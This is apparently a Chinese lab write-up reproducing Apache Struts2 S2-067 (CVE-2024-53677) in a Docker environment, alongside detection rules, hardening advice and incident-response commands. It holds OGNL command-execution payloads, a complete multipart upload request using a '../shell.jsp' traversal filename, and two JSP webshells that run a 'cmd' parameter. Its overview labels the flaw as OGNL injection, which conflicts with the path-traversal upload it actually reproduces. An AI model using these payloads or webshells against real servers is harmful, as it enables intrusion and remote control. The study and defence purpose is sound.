S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞

struts2/s2-067

一、漏洞概述

漏洞编号 :CVE-2024-53677
官方编号 :S2-067
影响组件 :Apache Struts 2
漏洞类型 :OGNL 表达式注入 → 远程代码执行(RCE)
漏洞根因 :错误的输入处理 + 参数强制解析为 OGNL 表达式
影响版本:Struts 2.0.x ~ 2.5.x 某些版本(具体以官方公告为准)

该漏洞属于 Struts2 系列经典问题的延续 ------ 用户输入在 OGNL 表达式上下文中被解释执行

二、漏洞原理分析

1️⃣ Struts2 请求处理机制

Struts2 使用:

  • ParametersInterceptor

  • ValueStack

  • OGNL

请求参数会被自动压入 ValueStack,并通过 OGNL 解析。

如果开发者没有正确限制表达式求值环境,攻击者可以构造如下参数:

js 复制代码
    GET /index.action?name=%{(#a=@java.lang.Runtime@getRuntime().exec('id'))}

当框架错误解析 %{} 时,OGNL 会执行内部表达式。

2️⃣ 漏洞触发流程图

流程说明:

js 复制代码
    HTTP Request
       ↓
    ParametersInterceptor
       ↓
    ValueStack.setValue()
       ↓
    OGNL 解析表达式
       ↓
    Runtime.exec()
       ↓
    RCE

三、攻击链路构建(Kill Chain)

1️⃣ Recon(侦察)

  • 识别 Struts2 版本

  • 探测 .action 端点

  • 利用报错信息判断 OGNL 可执行性

2️⃣ Weaponization(武器化)

构造恶意 OGNL:

js 复制代码
    %{(#_memberAccess['allowStaticMethodAccess']=true)
     (#cmd='whoami')
     (#p=new java.lang.ProcessBuilder(#cmd.split(' ')))
     (#p.start())}

3️⃣ Delivery

通过 GET / POST 参数提交

4️⃣ Exploitation

触发 OGNL 表达式执行

5️⃣ Post-Exploitation

  • 写 Webshell

  • 横向移动

  • 数据窃取

四、威胁建模(STRIDE)

类别 体现
Spoofing 伪造用户身份
Tampering 修改服务器状态
Repudiation 隐蔽命令执行
Information Disclosure 读取敏感文件
Denial of Service fork bomb
Elevation of Privilege 执行系统命令

五、MITRE ATT&CK 映射

战术 技术
Initial Access T1190 Exploit Public-Facing Application
Execution T1059.003 Java
Persistence T1505.003 Web Shell
Defense Evasion T1562 Impair Defenses
Discovery T1083 File and Directory Discovery
Lateral Movement T1021 Remote Services
Impact T1499 Resource Hijacking

六、修复建议(基于 Apache 官方建议)

✅ 1. 升级

升级到官方修复版本(Apache Struts 官方公告给出修复版本)。

✅ 2. 禁止静态方法访问

struts.xml 中:

js 复制代码
    <constant name="struts.ognl.allowStaticMethodAccess" value="false"/>

✅ 3. 开启严格方法调用

js 复制代码
    <constant name="struts.enable.DynamicMethodInvocation" value="false"/>

七、安全编码修复示例(伪代码)

❌ 漏洞代码

js 复制代码
    public String execute() {
        String name = request.getParameter("name");
        valueStack.setValue("username", name); // 直接解析
    }

✅ 修复代码

js 复制代码
    public String execute() {
        String name = request.getParameter("name");

        if (containsOGNLExpression(name)) {
            throw new SecurityException("Invalid input");
        }

        valueStack.setValue("username", escapeHtml(name));
    }

输入检测函数

js 复制代码
    boolean containsOGNLExpression(String input) {
        return input.contains("%{") ||
               input.contains("#") ||
               input.contains("@java.lang.Runtime");
    }

八、检测与防护规则

1️⃣ WAF 规则示例

正则检测

js 复制代码
    %{.*@java.lang.Runtime
js 复制代码
    #_memberAccess
js 复制代码
    ProcessBuilder

2️⃣ Suricata 示例

js 复制代码
    alert http any any -> any any (
    msg:"Struts2 S2-067 OGNL RCE Attempt";
    content:"%{"; http_uri;
    content:"java.lang.Runtime"; distance:0;
    sid:200067; rev:1;
    )

3️⃣ 日志检测(SIEM 规则思路)

js 复制代码
    WHERE request_uri LIKE "%@java.lang.Runtime%"
    OR request_uri LIKE "%ProcessBuilder%"

九、应急响应流程

1️⃣ 确认入侵

js 复制代码
    grep -R "java.lang.Runtime" /var/log/tomcat/
js 复制代码
    grep -R "%{" /var/log/nginx/

2️⃣ 查看可疑进程

js 复制代码
    ps aux | grep java

3️⃣ 网络连接检查

js 复制代码
    netstat -antp | grep ESTABLISHED

4️⃣ 查找 Webshell

js 复制代码
    find /var/www -type f -name "*.jsp" -mtime -3

5️⃣ 主机隔离

js 复制代码
    iptables -A INPUT -j DROP

十、攻击链全景图(简化示意)

js 复制代码
    Internet
       ↓
    Struts2 应用
       ↓
    OGNL 注入
       ↓
    Runtime.exec()
       ↓
    写 WebShell
       ↓
    横向移动
       ↓
    数据窃取

十一、实战风险总结

S2-067 与历史经典漏洞高度相似,例如:

  • Apache Struts

  • CVE-2017-5638(Equifax 事件核心漏洞)

这类漏洞一旦暴露公网,通常会被自动化扫描器 24 小时内攻击。

十二、防御分层建议

层级 建议
应用层 升级 + 关闭动态方法
框架层 禁止 OGNL 静态方法
网络层 WAF 规则拦截
主机层 EDR 监控 Runtime.exec
运维层 不暴露调试模式

准备工作

Docker的常用命令

bash 复制代码
docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞复现

在s2-066未修复版本中,如果直接上传shell.jsp,虽然即使shell.jsp上传成功,但是后续命令无法拼接执行。所以后面也要吸取这次教训,抓紧验证命令执行,这才是真正的执行成功。

js 复制代码
POST /index.action HTTP/1.1
Host: 192.168.0.41:8080
Content-Length: 346
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.41:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTAs4eMvdc3dwYhM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.41:8080/index.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=60A6C7264A026F76DBD2BF28D6492505
Connection: close

------WebKitFormBoundarykTAs4eMvdc3dwYhM
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

%
  out.println("hello world");
%>
------WebKitFormBoundarykTAs4eMvdc3dwYhM
Content-Disposition: form-data; name="top.fileFileName"

../shell.jsp
------WebKitFormBoundarykTAs4eMvdc3dwYhM--

在s2-066中的File字段值已经无法再s2-067执行,所以推测官方更新了过滤输入大小写敏感的补丁。与s2-066相比,s2-067还需更改为top.fileFilename。

攻击链路为:写入shell.jsp木马-->抓包修改name字段-->输入url查看执行效果。

此外,由于本人的好奇心理,同时对以下俩个jsp进行了上传,但奇怪的是服务器直接拦截了这俩个jsp木马,因而后续命令也无法执行。

js 复制代码
<%
  Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  InputStream inputStream = process.getInputStream();
  BufferedReader bufferedReader =  new BufferedReader(new InputStreamReader(inputStream));
  String line;
  while ((line = bufferedReader.readLine())!=null){
     response.getWriter().print(line);
    }
%>


<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

所以我推测了一下输出hello world的作用,其实原理和xss漏洞类似。虽然该命令执行没有获取敏感信息的操作,但是如果攻击者恶意执行相关命令,可能会诱导用户泄露Cookie,Session等字段,从而达到远控的目的。

此外,我还尝试复现spring/CVE-2022-22978。但是由于种种原因无法启动环境,后续有空到vulfocus复现。

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

相关推荐
用户962377954485 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全
一名优秀的码农5 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Libraeking5 天前
05 安全边界:MCP Server 的权限沙箱与敏感数据保护
安全
龙仔7255 天前
在麒麟V10服务器安全加固,sshd防暴力破解加固,实现“密码错误3次封IP”的需求
服务器·tcp/ip·安全
上海云盾-小余5 天前
即时通讯App的DDoS防御架构设计
运维·服务器·安全